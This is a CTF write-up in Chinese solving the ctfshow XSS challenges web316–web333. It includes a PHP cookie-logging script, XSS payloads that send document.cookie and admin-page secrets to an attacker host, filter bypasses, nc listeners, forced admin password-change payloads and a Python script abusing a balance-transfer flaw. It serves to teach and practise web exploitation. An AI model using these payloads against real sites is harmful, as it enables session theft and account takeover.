web316-web333XSS篇

2023/09/20 17:12:51

提前准备

准备几个XSS注入网站:
https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接
当然,除此之外,也可以自己编写:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

web316

后台bot会自动访问你的连接,我们只需要写一段恶意XSS内容即可。
这里用https://xss.pt/进行复现。
注册好后,创建项目之后,把获取cookie添加上。
image.png
image.png
好像抓到的是自己🤔。
那就试一试写在自己的VPS上。

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

payload:<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>
传入就可以得到需要的flag了:
image.png

web317

过滤了script,随便换一个标签名称就行了,比如input:

<input onfocus="window.open('http://natro92.top/xss.php?cookie='+document.cookie)" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

其他接入方法

其他的方法:

<svg onload="window.open('http://ip/'+document.cookie)">
<iframe onload="window.open('http://ip/'+document.cookie)"></iframe>
<body onload="window.open('http://ip/'+document.cookie)">

用上面这种方法直接用nc接就行,或者python的服务器。

python3 -m http.server 39543

注意这里有一个小坑,我最开始测试,无论nc还是什么都是不行的,想了一下才想起来,vps是有防火墙的,如果你没有在阿里云或者其他云平台开放端口是打不进来的。

同理,使用nc也是可以达到效果的:

nc -vlp 8888

payload也就可以简便为:

<input onfocus="window.open('http://xxx/'+document.cookie)" autofocus>

可能慢一点,多刷新。
既然如此,dnslog估计也是可以用的。
image.png

web318-319

<input onfocus="window.open('http://xxx/'+document.cookie)" autofocus>

web320-web326

过滤掉了空格

绕过方法:

  • TAB
  • /
  • /**/

payload:

<input/**/onfocus="window.open('http://xxx/'+document.cookie)"/**/autofocus>

image.png

web327

存储型XSS,还是用之前payload。
image.png
这里需要给admin发信息,意思大概是获取admin的cookie。

web328

有个登录页面,但是登不上去,旁边有个注册,注册的用户管理用户名会被管理员检测到。因此将payload放入用户名中。
虽然没有flag,但是有cookie,尝试登录一下。
image.png
PHPSESSID=7e8jf9pathne9tvgnb02kvj4h9
在hackbar中传入的cookie是临时的而且没有删除掉本地的cookie,我们需要写到存储中,并删除掉原有cookie值:
image.png
然后就能看到cookie了。
image.png

web329

直接用之前的方法,得到的cookie是前一次的cookie(管理员打开之后立即退出了登录),cookie刷新了,也就失效了。
那直接写段js,使其执行时获取到页面的其他显示密码即可(因为管理员页面是显示密码的。)。

document.querySelectorAll('.laytable-cell-1-0-1').forEach(cell => {
  if (cell.textContent.startsWith('ctfshow{')) {
    console.log(cell.textContent); 
    window.open('http://xxx:8888/'+cell.textContent)
  }
});

这时候我们注册测试一下。
为什么会没接到呢。
试一试wp的写法:

<script>$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show')>-1){
        window.location.href='http://ip/a.php?cookie='+value.innerHTML; 
    }
});</script>

怪了,这种就可以传上去:
image.png
这里面有文本干扰,所以在末尾添加一个{来定向获取flag。
也就是:

<script>$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show{')>-1){
        window.location.href='http://xxx:8888/'+value.innerHTML; 
    }
});</script>

这时就能得到flag了。
image.png

web330

多了一个修改密码,直接让管理员修改密码即可。查看访问格式:
image.png

<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>

image.png
注意,当登录之后访问页面之后就会发现会跳转到修改的页面,手速快点复制下来。

web331

与上题类似,但是这里使用的是post:
image.png
修改一下payload即可:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'admin'}});</script>

web332

为什么给admin转-99999就变成正的了,有点摸不到头脑
image.png

web333

自己给自己转可以加钱,什么虚空科技。直接上脚本

import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'}  #自己登录后的sessionid
while True:
	print(x)
	t=x-1
	data={
	'u':'user', #注册的用户名
	'a':str(t)
	}
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
	x+=t

image.png